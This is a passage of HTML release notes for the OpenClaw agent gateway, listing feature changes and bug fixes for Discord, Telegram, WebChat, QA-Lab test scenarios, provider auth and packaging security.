<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84189/hovercard" href="https://github.com/openclaw/openclaw/pull/84189">#84189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499295136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85182/hovercard" href="https://github.com/openclaw/openclaw/pull/85182">#85182</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489637163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84693" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84693/hovercard" href="https://github.com/openclaw/openclaw/pull/84693">#84693</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481133270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84324/hovercard" href="https://github.com/openclaw/openclaw/pull/84324">#84324</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415102376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80176/hovercard" href="https://github.com/openclaw/openclaw/issues/80176">#80176</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416567023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80395/hovercard" href="https://github.com/openclaw/openclaw/issues/80395">#80395</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473904192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83872" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83872/hovercard" href="https://github.com/openclaw/openclaw/pull/83872">#83872</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415100585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80174/hovercard" href="https://github.com/openclaw/openclaw/issues/80174">#80174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491926618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84816/hovercard" href="https://github.com/openclaw/openclaw/pull/84816">#84816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484275654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84493/hovercard" href="https://github.com/openclaw/openclaw/pull/84493">#84493</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Gateway/update: avoid fetching unrelated tags during dev-channel git updates so moved release tags do not block branch-based updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490745188" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84737/hovercard" href="https://github.com/openclaw/openclaw/pull/84737">#84737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>CLI/update: suppress the expected future-config warning while an old update parent hands off to the freshly installed post-core process.</li>
<li>MiniMax: store OAuth token expiry as an absolute millisecond timestamp so OAuth profiles no longer appear expired on every request. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466890226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83480/hovercard" href="https://github.com/openclaw/openclaw/pull/83480">#83480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/Anthropic: strip missing or blank thinking signatures for signed-thinking providers even when recovery supplies a narrow replay policy without signature preservation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483026927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84430" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84430/hovercard" href="https://github.com/openclaw/openclaw/issues/84430">#84430</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483407420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84448/hovercard" href="https://github.com/openclaw/openclaw/pull/84448">#84448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/channels: send a visible notice when an aborted main session cannot be resumed after restart, including Telegram group targets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509360796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85805" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85805/hovercard" href="https://github.com/openclaw/openclaw/pull/85805">#85805</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a>.</li>
<li>Discord/voice: serialize overlapping voice joins, retry aborted startup readiness within the configured timeout, upgrade meeting-notes-only sessions to realtime when the normal follow join arrives, detach promoted meeting-notes ownership without leaving voice, and include <code>OpenClaw</code> in default realtime wake names.</li>
<li>Gateway/restart: honor the configured restart drain budget for embedded runs and avoid spending the deferral timeout twice after forced restart timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507967040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85708/hovercard" href="https://github.com/openclaw/openclaw/pull/85708">#85708</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Gateway/boot: run <code>BOOT.md</code> startup checks in an isolated boot session so gateway restarts do not overwrite the agent's main session mapping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504750110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85479/hovercard" href="https://github.com/openclaw/openclaw/pull/85479">#85479</a>)</li>
<li>Meeting Notes: include a speaker-labeled transcript section in generated summaries so Discord group voice captures show who said each captured utterance.</li>
<li>Discord/voice: recover stale realtime playback state when Discord stream-close/player-idle events do not arrive, and keep generated runtime plugin aliases available after postbuild rewrites.</li>
<li>Discord/voice: keep realtime playback running when meeting notes attaches to an existing voice session or a realtime consult starts, and route realtime user transcripts into meeting notes.</li>
<li>Config/secrets: preflight active runtime SecretRefs before root and include config writes persist, and roll back unchanged file/env state when post-write refresh fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076550684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46531" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46531/hovercard" href="https://github.com/openclaw/openclaw/issues/46531">#46531</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483477091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84454/hovercard" href="https://github.com/openclaw/openclaw/pull/84454">#84454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: preserve SecretRef-backed custom provider <code>apiKey</code> markers when <code>models status</code> regenerates <code>models.json</code>, avoiding resolved plaintext secrets on disk. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488302083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84632" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84632/hovercard" href="https://github.com/openclaw/openclaw/issues/84632">#84632</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488645548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84658/hovercard" href="https://github.com/openclaw/openclaw/pull/84658">#84658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>WhatsApp/auto-reply: deliver deferred media replies through the foreground reply fence so overlapping no-reply turns no longer hide already visible responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505746494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85517/hovercard" href="https://github.com/openclaw/openclaw/pull/85517">#85517</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cavit99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cavit99">@cavit99</a>.</li>
<li>Sessions/security: replace agent-to-agent wildcard allowlist regexes with a precompiled linear matcher so cross-agent access checks avoid backtracking-prone patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>WebChat: keep the run-complete indicator in progress until deferred history replay renders the assistant reply, so Done no longer appears before response text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503058453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85374" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85374/hovercard" href="https://github.com/openclaw/openclaw/issues/85374">#85374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/tools: give timed-out or cancelled process trees a bounded SIGTERM cleanup window before SIGKILL while preserving tree-aware cancellation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4260251585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66399/hovercard" href="https://github.com/openclaw/openclaw/issues/66399">#66399</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509890128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85865" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85865/hovercard" href="https://github.com/openclaw/openclaw/pull/85865">#85865</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/subagents: treat aborted subagent stop reasons as killed terminal failures so parent sessions get error announcements instead of silent success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72293/hovercard" href="https://github.com/openclaw/openclaw/issues/72293">#72293</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509845139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85860/hovercard" href="https://github.com/openclaw/openclaw/pull/85860">#85860</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/providers: clamp proxy-like OpenAI Chat Completions output caps against the final request payload so strict local/API-compatible servers no longer reject prompts that already consume part of the context window. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463346817" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83086/hovercard" href="https://github.com/openclaw/openclaw/issues/83086">#83086</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510107154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85889" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85889/hovercard" href="https://github.com/openclaw/openclaw/pull/85889">#85889</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Agents/compaction: skip agent-harness preflight for provider-owned CLI runtime sessions so over-threshold Claude CLI sessions continue through normal compaction instead of failing on a missing harness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492387826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84857" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84857/hovercard" href="https://github.com/openclaw/openclaw/issues/84857">#84857</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492896072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84878" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84878/hovercard" href="https://github.com/openclaw/openclaw/pull/84878">#84878</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Codex/app-server: keep successful native hook relays available through a short post-turn grace window so late Codex hook subprocesses can finish policy enforcement without clearing a replacement relay. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474425104" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83987/hovercard" href="https://github.com/openclaw/openclaw/pull/83987">#83987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Control UI/config: save form-mode edits from the source config snapshot so runtime-only provider defaults like empty <code>models.providers.&lt;id&gt;.baseUrl</code> are not written back and rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509599522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85831/hovercard" href="https://github.com/openclaw/openclaw/issues/85831">#85831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</li>
<li>Browser/existing-session: launch Chrome DevTools MCP with usage statistics disabled by default so its telemetry watchdog stays off unless an operator explicitly opts in. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510091383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85886/hovercard" href="https://github.com/openclaw/openclaw/pull/85886">#85886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</li>
<li>Telegram: normalize legacy durable group retry targets before retry sends, polls, and pins so group retries keep using the real chat id. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/PDF: route MiniMax PDF fallback policy through plugin metadata so MiniMax uses text extraction instead of VLM image fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506610863" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85590/hovercard" href="https://github.com/openclaw/openclaw/pull/85590">#85590</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506467516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85575/hovercard" href="https://github.com/openclaw/openclaw/issues/85575">#85575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/plugins: tighten timeout, numeric option, media payload, permission, profile/TLS, plugin metadata, JSON, and remote URL handling; prevent stuck progress/app-server/IRC/Synology/Twitch waits; and keep imported chat history ordering stable.</li>
<li>Telegram/config: suppress the missing <code>accounts.default</code> warning when <code>channels.telegram.defaultAccount</code> names a configured account that also sorts first. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474104482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83948/hovercard" href="https://github.com/openclaw/openclaw/issues/83948">#83948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crypto86m/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crypto86m">@crypto86m</a>.</li>
<li>Telegram: serialize visible topic replies through core reply-lane admission so heartbeat and queued follow-up turns cannot continue ownerless or misroute responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491292661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84773/hovercard" href="https://github.com/openclaw/openclaw/pull/84773">#84773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway/WebChat: hide duplicate <code>gateway-injected</code> assistant rows when Cursor ACP already persisted the same <code>acp-runtime</code> reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508573154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85741/hovercard" href="https://github.com/openclaw/openclaw/issues/85741">#85741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lxf-lxf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lxf-lxf">@lxf-lxf</a>.</li>
<li>WebChat: scope the visible attachment button to its own composer file input so clicking Upload reliably opens the file picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474133617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83952/hovercard" href="https://github.com/openclaw/openclaw/pull/83952">#83952</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080664579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47983" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47983/hovercard" href="https://github.com/openclaw/openclaw/issues/47983">#47983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
